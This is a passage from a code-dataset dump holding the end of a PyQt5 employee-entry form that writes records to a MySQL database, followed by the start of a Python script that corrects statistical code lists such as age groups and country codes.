self.DOJ.setObjectName(\"DOJ\")\r\n self.label = QtWidgets.QLabel(self.frame)\r\n self.label.setGeometry(QtCore.QRect(280, 120, 261, 16))\r\n self.label.setStyleSheet(\"color:brown;\\n\"\r\n\"font-size:10px;\")\r\n self.label.setObjectName(\"label\")\r\n self.label_2 = QtWidgets.QLabel(self.frame)\r\n self.label_2.setGeometry(QtCore.QRect(280, 300, 361, 16))\r\n self.label_2.setStyleSheet(\"color:brown;\\n\"\r\n\"font-size:10px;\")\r\n self.label_2.setObjectName(\"label_2\")\r\n self.label_3 = QtWidgets.QLabel(self.frame)\r\n self.label_3.setGeometry(QtCore.QRect(280, 490, 271, 16))\r\n self.label_3.setStyleSheet(\"color:brown;\\n\"\r\n\"font-size:10px;\")\r\n self.label_3.setObjectName(\"label_3\")\r\n self.label_4 = QtWidgets.QLabel(self.frame)\r\n self.label_4.setGeometry(QtCore.QRect(1170, 260, 71, 16))\r\n self.label_4.setStyleSheet(\"color:brown;\\n\"\r\n\"font-size:10px;\")\r\n self.label_4.setObjectName(\"label_4\")\r\n self.label_5 = QtWidgets.QLabel(self.frame)\r\n self.label_5.setGeometry(QtCore.QRect(1180, 440, 71, 20))\r\n self.label_5.setStyleSheet(\"color:brown;\\n\"\r\n\"font-size:10px;\\n\"\r\n\"\")\r\n self.label_5.setObjectName(\"label_5\")\r\n self.horizontalLayout.addWidget(self.frame)\r\n MainWindow.setCentralWidget(self.centralwidget)\r\n self.MainWindow=MainWindow\r\n self.retranslateUi(MainWindow)\r\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\r\n\r\n def retranslateUi(self, MainWindow):\r\n _translate = QtCore.QCoreApplication.translate\r\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"Add Employee\"))\r\n self.NameEdit.setPlaceholderText(_translate(\"MainWindow\", \"Enter the name \"))\r\n self.DOB.setText(_translate(\"MainWindow\", \"Date of Birth *\"))\r\n self.DOBEdit.setDisplayFormat(_translate(\"MainWindow\", \"yyyy-MM-dd\"))\r\n self.DOJEdit.setDisplayFormat(_translate(\"MainWindow\", \"yyyy-MM-dd\"))\r\n self.ImageButton.setText(_translate(\"MainWindow\", \"Add Image\"))\r\n self.SignatureButton.setText(_translate(\"MainWindow\", \"Add Signature\"))\r\n self.DepartmentEdit.setItemText(0, _translate(\"MainWindow\", \"Select Department\"))\r\n self.DepartmentEdit.setItemText(1, _translate(\"MainWindow\", \"Information Technology\"))\r\n self.DepartmentEdit.setItemText(2, _translate(\"MainWindow\", \"Mechanical Deptartment\"))\r\n self.DepartmentEdit.setItemText(3, _translate(\"MainWindow\", \"Electrical Department\"))\r\n self.Department.setText(_translate(\"MainWindow\", \"Select Department *\"))\r\n self.Submit.setText(_translate(\"MainWindow\", \"Submit\"))\r\n self.Status.setText(_translate(\"MainWindow\", \"\"))\r\n self.Name.setText(_translate(\"MainWindow\", \"Name *\"))\r\n self.Address1.setText(_translate(\"MainWindow\", \"Address 1 *\"))\r\n self.Address2.setText(_translate(\"MainWindow\", \"Address 2\"))\r\n self.address1Edit.setPlaceholderText(_translate(\"MainWindow\", \"Add address\"))\r\n self.address2Edit.setPlaceholderText(_translate(\"MainWindow\", \"Add address 2 (optional)\"))\r\n self.phone2Edit.setPlaceholderText(_translate(\"MainWindow\",\"(optional)\"))\r\n self.phone3Edit.setPlaceholderText(_translate(\"MainWindow\",\"(optional)\"))\r\n self.Phone.setText(_translate(\"MainWindow\", \"Phone No. *\"))\r\n self.DOJ.setText(_translate(\"MainWindow\", \"Date of Joining*\"))\r\n self.label.setText(_translate(\"MainWindow\", \"Name should be atleast 3 characters long\"))\r\n self.label_2.setText(_translate(\"MainWindow\", \"Address should be alteast 15 characters long \"))\r\n self.label_3.setText(_translate(\"MainWindow\", \"A ten-digit phone number is required\"))\r\n self.label_4.setText(_translate(\"MainWindow\", \"Required\"))\r\n self.label_5.setText(_translate(\"MainWindow\", \"Required\"))\r\n self.photo=''\r\n self.sig=''\r\n self.NameEdit.setFocus()\r\n self.Status.hide()\r\n\r\n #click events\r\n self.ImageButton.clicked.connect(self.fileExplorer)\r\n self.SignatureButton.clicked.connect(self.fileExplorerSig)\r\n self.Submit.clicked.connect(self.onSubmit)\r\n\r\n #return key\r\n self.NameEdit.returnPressed.connect(self.DOBEdit.setFocus)\r\n self.DOBEdit.editingFinished.connect(self.DOJEdit.setFocus)\r\n self.DOJEdit.editingFinished.connect(self.address1Edit.setFocus)\r\n self.address1Edit.returnPressed.connect(self.address2Edit.setFocus)\r\n self.address2Edit.returnPressed.connect(self.phone1Edit.setFocus)\r\n self.phone1Edit.returnPressed.connect(self.phone2Edit.setFocus)\r\n self.phone2Edit.returnPressed.connect(self.phone3Edit.setFocus)\r\n self.phone3Edit.returnPressed.connect(self.ImageButton.click)\r\n self.DepartmentEdit.lineEdit().returnPressed.connect(self.onSubmit)\r\n \r\n #flags for validation\r\n self.flags={\r\n \"name\":False,\r\n \"address1\":False, \r\n \"address2\":True, \r\n \"phone1\":False, \r\n \"phone2\":True, \r\n \"phone3\":True, \r\n \"department\":False, \r\n \"image\":False,\r\n \"sig\":False\r\n }\r\n\r\n #validation\r\n self.NameEdit.editingFinished.connect(self.validation_name)\r\n self.NameEdit.textChanged.connect(self.validation_name)\r\n self.phone1Edit.editingFinished.connect(self.validation_phone1)\r\n self.phone1Edit.textChanged.connect(self.validation_phone1)\r\n self.phone2Edit.editingFinished.connect(self.validation_phone2)\r\n self.phone2Edit.textChanged.connect(self.validation_phone2)\r\n self.phone3Edit.editingFinished.connect(self.validation_phone3)\r\n self.phone3Edit.textChanged.connect(self.validation_phone3)\r\n self.address1Edit.editingFinished.connect(self.validation_address1)\r\n self.address1Edit.textChanged.connect(self.validation_address1)\r\n self.address2Edit.editingFinished.connect(self.validation_address2)\r\n self.address2Edit.textChanged.connect(self.validation_address2)\r\n self.DepartmentEdit.editTextChanged.connect(self.validation_department)\r\n\r\n\r\n def onSubmit(self):\r\n #if all the flags are true then the form can be submitted\r\n if(self.photo!=''):\r\n self.flags['image']=True\r\n else:\r\n self.flags['image']=False\r\n \r\n if(self.sig!=''):\r\n self.flags['sig']=True\r\n else:\r\n self.flags['sig']=False\r\n \r\n count=0\r\n for flag in self.flags:\r\n if(self.flags[flag]==True):\r\n count=count+1\r\n \r\n if count==9:\r\n self.shouldSubmit=True\r\n self.onChecking()\r\n\r\n else:\r\n self.shouldSubmit=False\r\n \r\n\r\n def onChecking(self):\r\n buttonBox = QtWidgets.QMessageBox.question(self, 'Submit details', \"Are you sure you want to submit?\", QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.Yes)\r\n if(buttonBox==QtWidgets.QMessageBox.Yes):\r\n self.connectDatabase()\r\n elif(buttonBox==QtWidgets.QMessageBox.No):\r\n self.DepartmentEdit.lineEdit().setFocus()\r\n \r\n def generateUniqueId(self,size):\r\n #generates a unique id\r\n id=uuid.uuid1()\r\n\r\n #converting id into int and resizing it to given size\r\n id=id.int % (10**(size))\r\n\r\n return id\r\n\r\n\r\n def connectDatabase(self):\r\n if(self.shouldSubmit!=False):\r\n self.Submit.setText('Submitting...')\r\n cur=self.db.cursor()\r\n\r\n #generating a unique id for every employee\r\n id=self.generateUniqueId(9)\r\n\r\n #saving all the texts in small words for ease\r\n info={\r\n \"name\":self.NameEdit.text(),\r\n \"dob\":str(self.DOBEdit.text()),\r\n \"doj\":str(self.DOJEdit.text()),\r\n \"address\":[self.address1Edit.text(),self.address2Edit.text()],\r\n \"phone\":[self.phone1Edit.text(),self.phone2Edit.text(),self.phone3Edit.text()],\r\n \"department\":str(self.DepartmentEdit.currentText()),\r\n \"photo\":self.photo,\r\n \"sig\":self.sig\r\n }\r\n\r\n #queries for inserting data\r\n employeeQuery=\"insert into employee values(%s,%s,%s,%s)\"\r\n employeeAddressQuery=\"insert into employeeAddress values(%s,%s)\"\r\n employeeTelephoneQuery=\"insert into employeeTelephone values(%s,%s)\"\r\n employeePhotoquery = \"Insert into employeePhoto values(%s,%s)\"\r\n employeeSigquery = \"Insert into employeeSig values(%s,%s)\"\r\n employeeDepartmentQuery=\"insert into employeeDepartment values(%s,%s)\"\r\n\r\n #inserting data\r\n \r\n #adding name, date of birth , date of joining\r\n try:\r\n cur.execute(employeeQuery,(id,info['dob'],info['name'],info['doj']))\r\n self.db.commit()\r\n\r\n #adding addresses \r\n for addr in info['address']:\r\n if(addr!=''):\r\n cur.execute(employeeAddressQuery,(id,addr))\r\n self.db.commit()\r\n\r\n #adding phone numbers\r\n for num in info['phone']:\r\n if(num!=''):\r\n cur.execute(employeeTelephoneQuery,(id,int(num)))\r\n self.db.commit()\r\n\r\n #adding department\r\n cur.execute(employeeDepartmentQuery,(id,info['department']))\r\n self.db.commit()\r\n\r\n #adding photo\r\n cur.execute(employeePhotoquery,(id,info['photo']))\r\n self.db.commit()\r\n\r\n #adding signature\r\n cur.execute(employeeSigquery,(id,info['sig']))\r\n self.db.commit()\r\n\r\n except Error as e:\r\n self.status.setStyleSheet('background:rgb(212,115,70)')\r\n self.status.show()\r\n if e.errno==1062:\r\n self.status.setText('Duplicate Id error : Try Submitting again')\r\n \r\n if e.errno==1146:\r\n self.status.setText('Problem with the Database (table does not exist)')\r\n\r\n elif e.errno==1054:\r\n self.status.setText('Problem with the Database (column does not exist)')\r\n\r\n\r\n #GUI\r\n self.Status.setStyleSheet(\r\n \"background:rgb(15, 73, 61);\\n\"\r\n \"color:white;\\n\"\r\n \"padding:5px;\\n\"\r\n \"font-size:12px;\\n\"\r\n \"font-weight:bold\")\r\n self.Status.show()\r\n self.Status.setText(\"New Employee added successfully\")\r\n self.Submit.setText('Submitted')\r\n messageText=\"UserId : {} (Note for future references)\".format(id) \r\n messageBox = QtWidgets.QMessageBox.question(self, 'Info', messageText, QtWidgets.QMessageBox.Ok , QtWidgets.QMessageBox.Ok)\r\n \r\n if(messageBox==QtWidgets.QMessageBox.Ok):\r\n self.clearData()\r\n\r\n else:\r\n self.Status.show()\r\n print('form is incomplete')\r\n self.Status.setStyleSheet(\r\n \"background:rgb(212,115,70);\\n\"\r\n \"color:black;\\n\"\r\n \"padding:5px;\\n\"\r\n \"font-size:12px;\\n\")\r\n self.Status.setText(\"Form is incomplete\")\r\n\r\n def clearData(self):\r\n style='background:(255,255,217)'\r\n self.NameEdit.setText('')\r\n self.NameEdit.setStyleSheet(style)\r\n self.DOBEdit.setDate(self.minimumDateDob)\r\n self.DOJEdit.setDate(self.minimumDateDoj)\r\n self.address1Edit.setText('')\r\n self.address1Edit.setStyleSheet(style)\r\n self.address2Edit.setText('')\r\n self.phone1Edit.setText('')\r\n self.phone1Edit.setStyleSheet(style)\r\n self.phone2Edit.setText('')\r\n self.phone3Edit.setText('')\r\n self.DepartmentEdit.setCurrentIndex(0)\r\n self.DepartmentEdit.setStyleSheet(style)\r\n self.ImageLabel.setPixmap(QtGui.QPixmap(''))\r\n self.ImageButton.setStyleSheet(style)\r\n self.SigLabel.setPixmap(QtGui.QPixmap(''))\r\n self.SignatureButton.setStyleSheet(style)\r\n self.Status.setText('')\r\n self.Status.hide()\r\n self.NameEdit.setFocus()\r\n self.Submit.setText('Submit')\r\n\r\n\r\n #adding image\r\n def fileExplorer(self):\r\n name=QtWidgets.QFileDialog.getOpenFileName(self,'Open file','c\\\\','Image files (*.jpg *.png *.jpeg)')\r\n if name[0]!='':\r\n imagePath=name[0]\r\n self.photo=u.read_file(imagePath)\r\n \r\n #GUI\r\n pixmap=QtGui.QPixmap(imagePath)\r\n pixmap=pixmap.scaled(100,200,QtCore.Qt.KeepAspectRatio)\r\n self.ImageLabel.setPixmap(pixmap)\r\n self.ImageLabel.setScaledContents(True)\r\n self.fileExplorerSig()\r\n\r\n\r\n #adding signature\r\n def fileExplorerSig(self):\r\n name=QtWidgets.QFileDialog.getOpenFileName(self,'Open file','c\\\\','Image files (*.jpg)')\r\n if name[0]!='':\r\n imagePath=name[0]\r\n self.sig=u.read_file(imagePath)\r\n \r\n #GUI\r\n pixmap=QtGui.QPixmap(imagePath)\r\n pixmap=pixmap.scaled(200, 100, QtCore.Qt.KeepAspectRatio)\r\n self.SigLabel.setPixmap(pixmap)\r\n self.SigLabel.setScaledContents(True)\r\n self.DepartmentEdit.setFocus()\r\n\r\n\r\n #setting up color for onchange validation\r\n def validation_color(self,result,name):\r\n if(result[0]==2): \r\n name.setStyleSheet(\"background:rgb(255, 255, 217)\")\r\n else:\r\n name.setStyleSheet('background:rgb(212, 115, 70)')\r\n\r\n\r\n #validation for name\r\n def validation_name(self):\r\n regName=QRegExp(\"\\w{3,}\\s?\\w*\")\r\n input_validator = QRegExpValidator(regName, self.NameEdit)\r\n result=input_validator.validate(self.NameEdit.text(),0)\r\n self.NameEdit.setValidator(input_validator)\r\n self.validation_color(result,self.NameEdit)\r\n if(result[0]==2):\r\n self.flags['name']=True\r\n else:\r\n self.flags['name']=False\r\n\r\n\r\n #validation for addresses\r\n def validation_address1(self):\r\n #address1edit\r\n regAddress=QRegExp(\"[\\w\\s-.,:]{15,120}\")\r\n input_validator = QRegExpValidator(regAddress, self.address1Edit)\r\n result=input_validator.validate(self.address1Edit.text(),0)\r\n self.address1Edit.setValidator(input_validator)\r\n if(result[0]==2):\r\n self.flags['address1']=True\r\n else:\r\n self.flags['address1']=False\r\n\r\n #colors\r\n self.validation_color(result,self.address1Edit)\r\n\r\n\r\n def validation_address2(self):\r\n #address2Edit\r\n regAddress=QRegExp(\"([\\w\\s-.,:]{15,120}|\\w{0})\")\r\n input_validator=QRegExpValidator(regAddress,self.address2Edit)\r\n result=input_validator.validate(self.address2Edit.text(),0)\r\n self.address2Edit.setValidator(input_validator)\r\n\r\n #colors\r\n self.validation_color(result,self.address2Edit)\r\n if(result[0]==2):\r\n self.flags['address2']=True\r\n else:\r\n self.flags['address2']=False\r\n\r\n #validation for phones\r\n def validation_phone1(self):\r\n #Phone\r\n regPhone=QRegExp(\"\\d{10}\")\r\n input_validator=QRegExpValidator(regPhone,self.phone1Edit)\r\n result=input_validator.validate(self.phone1Edit.text(),0)\r\n self.phone1Edit.setValidator(input_validator)\r\n self.validation_color(result,self.phone1Edit)\r\n if(result[0]==2):\r\n self.flags['phone1']=True\r\n else:\r\n self.flags['phone1']=False\r\n\r\n\r\n def validation_phone2(self):\r\n regPhone=QRegExp('(\\d{10}|\\d{0})')\r\n input_validator=QRegExpValidator(regPhone,self.phone2Edit)\r\n result=input_validator.validate(self.phone2Edit.text(),0)\r\n self.phone2Edit.setValidator(input_validator)\r\n self.validation_color(result,self.phone2Edit)\r\n if(result[0]==2):\r\n self.flags['phone2']=True\r\n else:\r\n self.flags['phone2']=False\r\n\r\n def validation_phone3(self):\r\n regPhone=QRegExp('(\\d{10}|\\d{0})')\r\n input_validator=QRegExpValidator(regPhone,self.phone3Edit)\r\n result=input_validator.validate(self.phone3Edit.text(),0)\r\n self.phone3Edit.setValidator(input_validator)\r\n self.validation_color(result,self.phone3Edit)\r\n if(result[0]==2):\r\n self.flags['phone3']=True\r\n else:\r\n self.flags['phone3']=False\r\n\r\n #validation for department\r\n def validation_department(self):\r\n regDepartment=QRegExp(\"^((?!Select Department).)*$\")\r\n input_validator=QRegExpValidator(regDepartment,self.DepartmentEdit)\r\n result=input_validator.validate(self.DepartmentEdit.currentText(),0)\r\n self.DepartmentEdit.setValidator(input_validator)\r\n self.validation_color(result,self.DepartmentEdit)\r\n if(result[0]==2):\r\n self.flags['department']=True\r\n else:\r\n self.flags['department']=False\r\n\r\nif __name__ == \"__main__\":\r\n import sys\r\n app = QtWidgets.QApplication(sys.argv)\r\n MainWindow = QtWidgets.QMainWindow()\r\n ui = Ui_MainWindow()\r\n ui.setupUi(MainWindow)\r\n MainWindow.show()\r\n sys.exit(app.exec_())\r\n","sub_path":"employee management system/additional_files/addTrainee.py","file_name":"addTrainee.py","file_ext":"py","file_size_in_byte":26421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"109476900","text":"import os\nimport utils\nimport time\nimport json\nimport math\nimport string\n\n# ----------------------------------------------\n# This script reads the json file with the merged\n# data (\"02_AllData.json\") and fixes coding issues\n# identified during review of code lists\n# -----------------------------------------------``\n\n\ndef fix_dimension(dimension, code_fix, description_fix):\n if dimension in record.keys():\n\n for k, v in code_fix.items():\n if record[dimension + '_DESC'] == v:\n record[dimension] = k\n\n for k, v in description_fix.items():\n if record[dimension] == k:\n record[dimension + '_DESC'] = v\n\n# Read the data\n\n\ndata = utils.open_json('data/02_AllData.json')\nprint(data[0])\n\nseries_catalog = utils.tsv2dictlist('data/source/SeriesCatalog.txt')\nprint(series_catalog[0])\n\nupdate_SeriesNames = utils.tsv2dictlist('data/source/update_SeriesNames.txt')\n\ncheck = []\n\nfor record in data:\n\n series_desc = record['SERIES_DESC']\n\n # Fix 1: Fix series names:\n\n series_name_fix = utils.select_dict(\n update_SeriesNames, {'SERIES_DESC_OLD': series_desc})\n\n if len(series_name_fix) > 0:\n record['SERIES_DESC'] = update_SeriesNames[0]['SERIES_DESC_NEW']\n\n # Fix 2: Add series code:\n\n series_data = utils.select_dict(\n series_catalog, {'SERIES_DESC': series_desc})\n\n if len(series_data) > 1:\n print(\n f\"The series {record['SERIES_DESC']} appears multiple times in the series catalog\")\n break\n elif len(series_data) == 0:\n check.append(record['SERIES_DESC'])\n check = list(set(check))\n else:\n record['SERIES'] = series_data[0]['SERIES']\n\n # Fix 3: Fix AGE coding:\n\n code_fix = dict()\n\n description_fix = {\n '_T': 'All age ranges or no breakdown by age',\n 'Y_GE15': '15 years old and over',\n 'Y_GE65': '65 years old and over',\n 'Y_GE80': '80 old and over',\n 'Y15T25': '15 to 25 years',\n 'Y50T54': '50 to 54 years old',\n 'Y55T59': '55 to 59 years old',\n 'Y60T64': '60 to 64 years old',\n 'Y65T69': '65 to 69 years old',\n 'Y70T74': '70 to 74 years old',\n 'Y75T79': '75 to 79 years old',\n 'Y80T84': '80 to 84 years old',\n 'Y85T89': '85 to 89 years old'\n }\n\n fix_dimension('AGE', code_fix, description_fix)\n\n # Fix 4: Fix COD coding:\n\n code_fix = {\n '800': 'Diabetes',\n }\n\n description_fix = {\n '800': 'Diabetes mellitus'\n }\n\n fix_dimension('COD', code_fix, description_fix)\n\n # Fix 5: Fix EDUCATION_LEV coding:\n\n code_fix = dict()\n\n description_fix = {\n 'ISCED11_1':\t'Primary education',\n 'ISCED11_2':\t'Lower secondary education',\n 'ISCED11_3':\t'Upper secondary education',\n 'ISCED11A_0_G23': 'Some primary education, grades 2 or 3'\n }\n\n fix_dimension('EDUCATION_LEV', code_fix, description_fix)\n\n # Fix 6: Fix ETHNICITY coding:\n\n code_fix = {\n 'WH': 'White',\n 'BL_BR': 'Black or brown'\n }\n\n description_fix = {\n '_T': 'Total or no breakdown by ethnicity'\n }\n\n fix_dimension('ETHNICITY', code_fix, description_fix)\n\n # Fix 7: Fix FREQ coding:\n\n if 'FREQ' in record.keys():\n\n if record['FREQ'] == 'S':\n record['FREQ'] = 'A'\n record['FREQ_DESC'] = 'Annual'\n\n # Fix 8: Fix GEOLEVEL coding:\n\n code_fix = {\n '4'\t: 'National'\n }\n\n description_fix = {\n '4': 'Country or Area',\n '5': 'Sub-national'\n }\n\n fix_dimension('GEOLEVEL', code_fix, description_fix)\n\n # Fix 9: Fix HOUSEHOLD_TYPE coding:\n\n code_fix = {\n '_T': 'Total'\n }\n\n description_fix = {\n '2': 'Couples without children',\n '3': 'Couples with children',\n '4': 'Lone parents'\n }\n\n fix_dimension('HOUSEHOLD_TYPE', code_fix, description_fix)\n\n # Fix 10: Fix INCOME_WEALTH_QUANTILE coding:\n\n code_fix = dict()\n\n description_fix = {\n 'Q1': 'Quintile 1 (poorest)',\n 'Q2': 'Quintile 2 (second poorest)',\n 'Q3': 'Quintile 3 (middle)',\n 'Q4': 'Quintile 4 (second richest)',\n 'Q5': 'Quintile 5 (richest)'\n }\n\n fix_dimension('INCOME_WEALTH_QUANTILE', code_fix, description_fix)\n\n # Fix 11: Fix MARITAL_STATUS coding:\n\n code_fix = {\n '_T': 'Total'\n }\n\n description_fix = dict()\n\n fix_dimension('MARITAL_STATUS', code_fix, description_fix)\n\n # Fix 12: Fix MINISTER_PORTFOLIO coding:\n\n code_fix = dict()\n\n description_fix = {\n '7': 'Housing and Urban Affairs',\n '20': 'Justice'\n }\n\n fix_dimension('MINISTER_PORTFOLIO', code_fix, description_fix)\n\n # Fix 13: Fix NATURE coding:\n\n code_fix = dict()\n\n description_fix = {\n 'M': 'Modeled'\n }\n\n fix_dimension('NATURE', code_fix, description_fix)\n\n # Fix 14: Fix OCCUPATION coding:\n\n code_fix = {\n 'ISCO08_101': 'Commissioned armed forces officers',\n 'ISCO08_102': 'Non-commissioned armed forces officers',\n 'ISCO08_103': 'Armed forces occupations, other ranks'\n }\n\n description_fix = dict()\n\n fix_dimension('OCCUPATION', code_fix, description_fix)\n\n # Fix 15: Fix REF_AREA coding:\n\n code_fix = dict()\n\n description_fix = {\n \"1\": \"World\",\n \"2\": \"Africa\",\n \"4\": \"Afghanistan\",\n \"5\": \"South America\",\n \"8\": \"Albania\",\n \"9\": \"Oceania\",\n \"11\": \"Western Africa\",\n \"12\": \"Algeria\",\n \"13\": \"Central America\",\n \"14\": \"Eastern Africa\",\n \"15\": \"Northern Africa\",\n \"16\": \"American Samoa\",\n \"17\": \"Middle Africa\",\n \"18\": \"Southern Africa\",\n \"19\": \"Americas\",\n \"20\": \"Andorra\",\n \"21\": \"Northern America\",\n \"24\": \"Angola\",\n \"28\": \"Antigua and Barbuda\",\n \"29\": \"Caribbean\",\n \"30\": \"Eastern Asia\",\n \"31\": \"Azerbaijan\",\n \"32\": \"Argentina\",\n \"34\": \"Southern Asia\",\n \"35\": \"South-Eastern Asia\",\n \"36\": \"Australia\",\n \"39\": \"Southern Europe\",\n \"40\": \"Austria\",\n \"44\": \"Bahamas\",\n \"48\": \"Bahrain\",\n \"50\": \"Bangladesh\",\n \"51\": \"Armenia\",\n \"52\": \"Barbados\",\n \"53\": \"Australia and New Zealand\",\n \"54\": \"Melanesia\",\n \"56\": \"Belgium\",\n \"57\": \"Micronesia\",\n \"60\": \"Bermuda\",\n \"61\": \"Polynesia\",\n \"62\": \"Central and Southern Asia\",\n \"64\": \"Bhutan\",\n \"68\": \"Bolivia (Plurinational State of)\",\n \"70\": \"Bosnia and Herzegovina\",\n \"72\": \"Botswana\",\n \"76\": \"Brazil\",\n \"84\": \"Belize\",\n \"90\": \"Solomon Islands\",\n \"92\": \"British Virgin Islands\",\n \"96\": \"Brunei Darussalam\",\n \"100\": \"Bulgaria\",\n \"104\": \"Myanmar\",\n \"108\": \"Burundi\",\n \"112\": \"Belarus\",\n \"116\": \"Cambodia\",\n \"120\": \"Cameroon\",\n \"124\": \"Canada\",\n \"132\": \"Cabo Verde\",\n \"136\": \"Cayman Islands\",\n \"140\": \"Central African Republic\",\n \"142\": \"Asia\",\n \"143\": \"Central Asia\",\n \"144\": \"Sri Lanka\",\n \"145\": \"Western Asia\",\n \"148\": \"Chad\",\n \"150\": \"Europe\",\n \"151\": \"Eastern Europe\",\n \"152\": \"Chile\",\n \"154\": \"Northern Europe\",\n \"155\": \"Western Europe\",\n \"156\": \"China\",\n \"158\": \"China, Taiwan Province of China\",\n \"170\": \"Colombia\",\n \"174\": \"Comoros\",\n \"175\": \"Mayotte\",\n \"178\": \"Congo\",\n \"180\": \"Democratic Republic of the Congo\",\n \"184\": \"Cook Islands\",\n \"188\": \"Costa Rica\",\n \"191\": \"Croatia\",\n \"192\": \"Cuba\",\n \"196\": \"Cyprus\",\n \"199\": \"Least Developed Countries (LDCs)\",\n \"202\": \"Sub-Saharan Africa\",\n \"203\": \"Czechia\",\n \"204\": \"Benin\",\n \"208\": \"Denmark\",\n \"212\": \"Dominica\",\n \"214\": \"Dominican Republic\",\n \"218\": \"Ecuador\",\n \"222\": \"El Salvador\",\n \"226\": \"Equatorial Guinea\",\n \"231\": \"Ethiopia\",\n \"232\": \"Eritrea\",\n \"233\": \"Estonia\",\n \"234\": \"Faroe Islands\",\n \"238\": \"Falkland Islands (Malvinas)\",\n \"242\": \"Fiji\",\n \"246\": \"Finland\",\n \"250\": \"France\",\n \"254\": \"French Guiana\",\n \"258\": \"French Polynesia\",\n \"262\": \"Djibouti\",\n \"266\": \"Gabon\",\n \"268\": \"Georgia\",\n \"270\": \"Gambia\",\n \"275\": \"State of Palestine\",\n \"276\": \"Germany\",\n \"288\": \"Ghana\",\n \"292\": \"Gibraltar\",\n \"296\": \"Kiribati\",\n \"300\": \"Greece\",\n \"304\": \"Greenland\",\n \"308\": \"Grenada\",\n \"312\": \"Guadeloupe\",\n \"316\": \"Guam\",\n \"320\": \"Guatemala\",\n \"324\": \"Guinea\",\n \"328\": \"Guyana\",\n \"332\": \"Haiti\",\n \"336\": \"Holy See\",\n \"340\": \"Honduras\",\n \"344\": \"China, Hong Kong Special Administrative Region\",\n \"348\": \"Hungary\",\n \"352\": \"Iceland\",\n \"356\": \"India\",\n \"360\": \"Indonesia\",\n \"364\": \"Iran (Islamic Republic of)\",\n \"368\": \"Iraq\",\n \"372\": \"Ireland\",\n \"376\": \"Israel\",\n \"380\": \"Italy\",\n \"384\": \"Côte d'Ivoire\",\n \"388\": \"Jamaica\",\n \"392\": \"Japan\",\n \"398\": \"Kazakhstan\",\n \"400\": \"Jordan\",\n \"404\": \"Kenya\",\n \"408\": \"Democratic People's Republic of Korea\",\n \"410\": \"Republic of Korea\",\n \"414\": \"Kuwait\",\n \"417\": \"Kyrgyzstan\",\n \"418\": \"Lao People's Democratic Republic\",\n \"419\": \"Latin America and the Caribbean\",\n \"420\": \"Latin America\",\n \"422\": \"Lebanon\",\n \"426\": \"Lesotho\",\n \"428\": \"Latvia\",\n \"430\": \"Liberia\",\n \"432\": \"Landlocked developing countries (LLDCs)\",\n \"434\": \"Libya\",\n \"438\": \"Liechtenstein\",\n \"440\": \"Lithuania\",\n \"442\": \"Luxembourg\",\n \"446\": \"China, Macao Special Administrative Region\",\n \"450\": \"Madagascar\",\n \"454\": \"Malawi\",\n \"458\": \"Malaysia\",\n \"462\": \"Maldives\",\n \"466\": \"Mali\",\n \"470\": \"Malta\",\n \"474\": \"Martinique\",\n \"478\": \"Mauritania\",\n \"480\": \"Mauritius\",\n \"484\": \"Mexico\",\n \"492\": \"Monaco\",\n \"496\": \"Mongolia\",\n \"498\": \"Republic of Moldova\",\n \"499\": \"Montenegro\",\n \"500\": \"Montserrat\",\n \"504\": \"Morocco\",\n \"508\": \"Mozambique\",\n \"512\": \"Oman\",\n \"513\": \"Europe and Northern America\",\n \"514\": \"​Developed\",\n \"515\": \"​Developing\",\n \"516\": \"Namibia\",\n \"520\": \"Nauru\",\n \"524\": \"Nepal\",\n \"528\": \"Netherlands\",\n \"531\": \"Curaçao\",\n \"533\": \"Aruba\",\n \"534\": \"Sint Maarten (Dutch part)\",\n \"540\": \"New Caledonia\",\n \"543\": \"Oceania (exc. Australia and New Zealand)\",\n \"548\": \"Vanuatu\",\n \"554\": \"New Zealand\",\n \"558\": \"Nicaragua\",\n \"562\": \"Niger\",\n \"566\": \"Nigeria\",\n \"570\": \"Niue\",\n \"578\": \"Norway\",\n \"580\": \"Northern Mariana Islands\",\n \"583\": \"Micronesia (Federated States of)\",\n \"584\": \"Marshall Islands\",\n \"585\": \"Palau\",\n \"586\": \"Pakistan\",\n \"591\": \"Panama\",\n \"598\": \"Papua New Guinea\",\n \"600\": \"Paraguay\",\n \"604\": \"Peru\",\n \"608\": \"Philippines\",\n \"616\": \"Poland\",\n \"620\": \"Portugal\",\n \"624\": \"Guinea-Bissau\",\n \"626\": \"Timor-Leste\",\n \"630\": \"Puerto Rico\",\n \"634\": \"Qatar\",\n \"638\": \"Réunion\",\n \"642\": \"Romania\",\n \"643\": \"Russian Federation\",\n \"646\": \"Rwanda\",\n \"654\": \"Saint Helena\",\n \"659\": \"Saint Kitts and Nevis\",\n \"660\": \"Anguilla\",\n \"662\": \"Saint Lucia\",\n \"666\": \"Saint Pierre and Miquelon\",\n \"670\": \"Saint Vincent and the Grenadines\",\n \"674\": \"San Marino\",\n \"678\": \"Sao Tome and Principe\",\n \"682\": \"Saudi Arabia\",\n \"686\": \"Senegal\",\n \"688\": \"Serbia\",\n \"690\": \"Seychelles\",\n \"694\": \"Sierra Leone\",\n \"702\": \"Singapore\",\n \"703\": \"Slovakia\",\n \"704\": \"Viet Nam\",\n \"705\": \"Slovenia\",\n \"706\": \"Somalia\",\n \"710\": \"South Africa\",\n \"716\": \"Zimbabwe\",\n \"722\": \"Small island developing States (SIDS)\",\n \"724\": \"Spain\",\n \"728\": \"South Sudan\",\n \"729\": \"Sudan\",\n \"740\": \"Suriname\",\n \"747\": \"Northern Africa and Western Asia\",\n \"748\": \"Eswatini\",\n \"752\": \"Sweden\",\n \"753\": \"Eastern and South-Eastern Asia\",\n \"756\": \"Switzerland\",\n \"760\": \"Syrian Arab Republic\",\n \"762\": \"Tajikistan\",\n \"764\": \"Thailand\",\n \"768\": \"Togo\",\n \"772\": \"Tokelau\",\n \"776\": \"Tonga\",\n \"780\": \"Trinidad and Tobago\",\n \"784\": \"United Arab Emirates\",\n \"788\": \"Tunisia\",\n \"792\": \"Turkey\",\n \"795\": \"Turkmenistan\",\n \"796\": \"Turks and Caicos Islands\",\n \"798\": \"Tuvalu\",\n \"800\": \"Uganda\",\n \"804\": \"Ukraine\",\n \"807\": \"North Macedonia\",\n \"818\": \"Egypt\",\n \"826\": \"United Kingdom\",\n \"830\": \"Channel Islands\",\n \"833\": \"Isle of Man\",\n \"834\": \"United Republic of 